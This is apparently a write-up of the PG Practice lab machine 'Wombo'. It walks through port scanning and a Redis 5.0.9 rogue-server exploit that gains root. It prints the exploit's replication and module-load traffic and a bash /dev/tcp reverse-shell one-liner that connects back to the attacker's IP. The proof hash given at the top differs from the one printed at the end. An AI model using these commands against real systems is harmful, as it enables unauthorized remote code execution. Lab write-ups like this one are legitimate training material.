Summary #
On port 6379 is a Redis key-value store 5.0.9
service running. This version has a Remote Code Execution vulnerability, when exploited gives us initial access on the target as the root
user.
Specifications #
- Name: WOMBO
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Easy
- System overview: Linux wombo 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64 GNU/Linux
- IP address: 192.168.105.69
- OFFSEC provided credentials: None
- HASH:
local.txt
: None - HASH:
proof.txt
:8af3c9e565a39b1bab511cf4c5b684c0
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir wombo && cd wombo && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 20 18:52 .
drwxrwxr-x 74 kali kali 4096 Sep 20 18:52 ..
drwxrwxr-x 2 kali kali 4096 Sep 20 18:52 enum
drwxrwxr-x 2 kali kali 4096 Sep 20 18:52 exploits
drwxrwxr-x 2 kali kali 4096 Sep 20 18:52 files
drwxrwxr-x 2 kali kali 4096 Sep 20 18:52 tools
drwxrwxr-x 2 kali kali 4096 Sep 20 18:52 uploads
## set bash variable
ip=192.168.105.69
## ping target to check if it's online
ping $ip
PING 192.168.105.69 (192.168.105.69) 56(84) bytes of data.
64 bytes from 192.168.105.69: icmp_seq=1 ttl=61 time=20.1 ms
64 bytes from 192.168.105.69: icmp_seq=2 ttl=61 time=20.9 ms
^C
--- 192.168.105.69 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 20.062/20.502/20.942/0.440 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.105.69:22
Open 192.168.105.69:80
Open 192.168.105.69:6379
Open 192.168.105.69:8080
Open 192.168.105.69:27017
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-20 18:55 CEST
Initiating Ping Scan at 18:55
Scanning 192.168.105.69 [4 ports]
Completed Ping Scan at 18:55, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:55
Completed Parallel DNS resolution of 1 host. at 18:55, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:55
Scanning 192.168.105.69 [5 ports]
Discovered open port 8080/tcp on 192.168.105.69
Discovered open port 80/tcp on 192.168.105.69
Discovered open port 22/tcp on 192.168.105.69
Discovered open port 6379/tcp on 192.168.105.69
Discovered open port 27017/tcp on 192.168.105.69
Completed SYN Stealth Scan at 18:55, 0.06s elapsed (5 total ports)
Nmap scan report for 192.168.105.69
Host is up, received echo-reply ttl 61 (0.022s latency).
Scanned at 2025-09-20 18:55:56 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
6379/tcp open redis syn-ack ttl 61
8080/tcp open http-proxy syn-ack ttl 61
27017/tcp open mongod syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
Raw packets sent: 9 (372B) | Rcvd: 6 (248B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
6379/tcp open redis syn-ack ttl 61
8080/tcp open http-proxy syn-ack ttl 61
27017/tcp open mongod syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80,6379,8080,27017
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,6379,8080,27017 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 09:80:39:ef:3f:61:a8:d9:e6:fb:04:94:23:c9:ef:a8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGBXRhQCez7/IOdnHzLYdpVtWWRMN/7bUR/C3T/W6V9DwlKUS2AfdncLdLwqnx61jODFdXDrTdEdTAtK4MHuXt/UOLDXr1SOfUHYQbZd1rmpMaeB3qOKfoVP7NMp2Ga68kT/9NvBphakYXRWw4C7RS0N+4YWU/BjSyMTIdnhJX05lC5Uyljg7FliJ7d3J/CtF98I6Oo5u/Eb2/5BB45/1IuM6R7BGCDOpIs6po1FyEk8gFktbB+INGATdBPxvmAOX6G7m/R491a9/QtaF8wrgsjS3fQftoiW8vwcaom8Bmu94xZ9pZq0Dgt9VWQz241T5dGQrp57s6Djl/V83/qGFP
| 256 83:f8:6f:50:7a:62:05:aa:15:44:10:f5:4a:c2:f5:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLg0oQ1t4NCz+KWPtrCjgDf+qjW2Vb4oOc/eM21vT9rIPJa//rO0LFT8czDxcWFU9HMSEohfSm8emC4lShgGrY4=
| 256 1e:2b:13:30:5c:f1:31:15:b4:e8:f3:d2:c4:e8:05:b5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPS81xs7EU6k92rNFdmsDF7qcRDxDILJUeva18aKW1GV
80/tcp open http syn-ack ttl 61 nginx 1.10.3
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.10.3
| http-methods:
|_ Supported Methods: GET HEAD
6379/tcp open redis syn-ack ttl 61 Redis key-value store 5.0.9
8080/tcp open http-proxy syn-ack ttl 61
|_http-title: Home | NodeBB
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 3 disallowed entries
|_/admin/ /reset/ /compose
|_http-favicon: Unknown favicon MD5: 152FF7D5AE5BDB84B33D4DCA31EB7CD3
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| X-DNS-Prefetch-Control: off
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Referrer-Policy: strict-origin-when-cross-origin
| X-Powered-By: NodeBB
| set-cookie: _csrf=5OFzii9hedI0GxtvW_W_c4Yo; Path=/
| Content-Type: text/html; charset=utf-8
| Content-Length: 11098
| ETag: W/"2b5a-7JmmntT5QEouo86g/YDwUh6cWLI"
| Vary: Accept-Encoding
| Date: Sat, 20 Sep 2025 16:56:58 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en-GB" data-dir="ltr" style="direction: ltr;" >
| <head>
| <title>Not Found | NodeBB</title>
| <meta name="viewport" content="width=device-width, initial-scale=1.0" />
| <meta name="content-type" content="text/html; charset=UTF-8" />
| <meta name="apple-mobile-web-app-capable" content="yes" />
| <meta name="mobile-web-app-capable" content="yes" />
| <meta property="og:site_n
| GetRequest:
| HTTP/1.1 200 OK
| X-DNS-Prefetch-Control: off
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Referrer-Policy: strict-origin-when-cross-origin
| X-Powered-By: NodeBB
| set-cookie: _csrf=vLHGpWNKXXbxD7Xp1hxTfCny; Path=/
| Content-Type: text/html; charset=utf-8
| Content-Length: 18181
| ETag: W/"4705-jgsFvfyQlgLRljJU+NmX1OvPzjU"
| Vary: Accept-Encoding
| Date: Sat, 20 Sep 2025 16:56:58 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en-GB" data-dir="ltr" style="direction: ltr;" >
| <head>
| <title>Home | NodeBB</title>
| <meta name="viewport" content="width=device-width, initial-scale=1.0" />
| <meta name="content-type" content="text/html; charset=UTF-8" />
| <meta name="apple-mobile-web-app-capable" content="yes" />
| <meta name="mobile-web-app-capable" content="yes" />
| <meta property="og:site_name" content
| HTTPOptions:
| HTTP/1.1 200 OK
| X-DNS-Prefetch-Control: off
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Referrer-Policy: strict-origin-when-cross-origin
| X-Powered-By: NodeBB
| Allow: GET,HEAD
| Content-Type: text/html; charset=utf-8
| Content-Length: 8
| ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
| Vary: Accept-Encoding
| Date: Sat, 20 Sep 2025 16:56:58 GMT
| Connection: close
| GET,HEAD
| RTSPRequest:
| HTTP/1.1 400 Bad Request
|_ Connection: close
27017/tcp open mongodb syn-ack ttl 61 MongoDB 4.1.1 - 5.0
| mongodb-info:
| MongoDB Build info
| gitVersion = 6883bdfb8b8cff32176b1fd176df04da9165fd67
| storageEngines
| 2 = mmapv1
| 3 = wiredTiger
| 0 = devnull
| 1 = ephemeralForTest
| allocator = tcmalloc
| ok = 1.0
| bits = 64
| openssl
| compiled = OpenSSL 1.1.0l 10 Sep 2019
| running = OpenSSL 1.1.0l 10 Sep 2019
| javascriptEngine = mozjs
| version = 4.0.18
| debug = false
| maxBsonObjectSize = 16777216
| buildEnvironment
| distmod = debian92
| cxx = /opt/mongodbtoolchain/v2/bin/g++: g++ (GCC) 5.4.0
| linkflags = -pthread -Wl,-z,now -rdynamic -Wl,--fatal-warnings -fstack-protector-strong -fuse-ld=gold -Wl,--build-id -Wl,--hash-style=gnu -Wl,-z,noexecstack -Wl,--warn-execstack -Wl,-z,relro
| distarch = x86_64
| target_arch = x86_64
| target_os = linux
| cc = /opt/mongodbtoolchain/v2/bin/gcc: gcc (GCC) 5.4.0
| cxxflags = -Woverloaded-virtual -Wno-maybe-uninitialized -std=c++14
| ccflags = -fno-omit-frame-pointer -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -Werror -O2 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -Wno-missing-braces -fstack-protector-strong -fno-builtin-memcmp
| modules
| sysInfo = deprecated
| versionArray
| 2 = 18
| 3 = 0
| 0 = 4
| 1 = 0
| Server status
| errmsg = command serverStatus requires authentication
| code = 13
| codeName = Unauthorized
|_ ok = 0.0
| mongodb-databases:
| errmsg = command listDatabases requires authentication
| code = 13
| codeName = Unauthorized
|_ ok = 0.0
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
6379/tcp open redis syn-ack ttl 61 Redis key-value store 5.0.9
On port 6379 there is a Redis key-value store 5.0.9
. We’re able to connect to this server.
## connect to the redis server
redis-cli -p 6379 -h $ip
192.168.105.69:6379>
## get more information about the server
192.168.105.69:6379> INFO
# Server
redis_version:5.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:85c881476bf91b2f
redis_mode:standalone
os:Linux 4.9.0-19-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:6.3.0
process_id:575
run_id:49c78f4997acd66548ede764aca1255e3f7a5fa6
tcp_port:6379
uptime_in_seconds:35804503
uptime_in_days:414
hz:10
configured_hz:10
lru_clock:13557652
executable:/usr/local/bin/redis-server
config_file:/etc/redis/redis.conf
<SNIP>
## exit the service
192.168.105.69:6379> exit
Searching online we can find: https://github.com/n0b0dyCN/redis-rogue-server. We clone this repository and run the exploit (perhaps multiple times to work). Once the question shows: [i]nteractive shell or [r]everse shell
, enter i
. Typing whoami
shows we are the root
user.
So, let’s get a reverse shell as the root
user.
## change directory
cd exploits
## clone repository locally
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
Cloning into 'redis-rogue-server'...
remote: Enumerating objects: 87, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 87 (delta 0), reused 1 (delta 0), pack-reused 83 (from 1)
Receiving objects: 100% (87/87), 245.56 KiB | 5.01 MiB/s, done.
Resolving deltas: 100% (19/19), done.
## change directory
cd redis-rogue-server
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
## run exploit
python redis-rogue-server.py --rhost $ip --rport 6379 --lhost 192.168.45.189 --lport 80 --exp=exp.so -v
/home/kali/hk/offsec/pg/practice/wombo/exploits/redis-rogue-server/redis-rogue-server.py:11: SyntaxWarning: invalid escape sequence '\ '
| ___ \ | (_) | ___ \ / ___|
______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
[info] TARGET 192.168.105.69:6379
[info] SERVER 192.168.45.189:80
[info] Setting master...
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$14\r\n192.168.45.189\r\n$2\r\n80\r\n'
[->] b'+OK\r\n'
[info] Setting dbfilename...
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'*1\r\n$4\r\nPING\r\n'
[<-] b'+PONG\r\n'
[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<-] b'+OK\r\n'
[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<-] b'+OK\r\n'
[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n75de95e6d2b2aa002a9aec46425bc6e387f9e774\r\n$1\r\n1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$44320\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\xa6\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[info] Loading module...
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'-ERR Error loading the extension. Please check the server logs.\r\n'
[info] Temerory cleaning up...
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'
[->] b'+OK\r\n'
[<-] b'*2\r\n$11\r\nsystem.exec\r\n$11\r\nrm ./exp.so\r\n'
[->] b'$0\r\n\r\n'
What do u want, [i]nteractive shell or [r]everse shell: i
[info] Interact mode start, enter "exit" to quit.
[<<] whoami
[<-] b'*2\r\n$11\r\nsystem.exec\r\n$6\r\nwhoami\r\n'
[->] b'$5\r\nroot\n\r\n'
[>>] root
## setup a listener on an already open port
nc -lvnp 8080
listening on [any] 8080 ...
## run reverse shell command in interactive shell
bash -c 'sh -i >& /dev/tcp/192.168.45.189/8080 0>&1';
## catch the reverse shell
nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.105.69] 52150
sh: 0: can't access tty; job control turned off
#
## print the current user
# whoami
root
## print `proof.txt`
# cat /root/proof.txt
5df553724c3bf882188e3fef96e99901
References #
[+] https://github.com/n0b0dyCN/redis-rogue-server
[+] https://github.com/n0b0dyCN/redis-rogue-server.git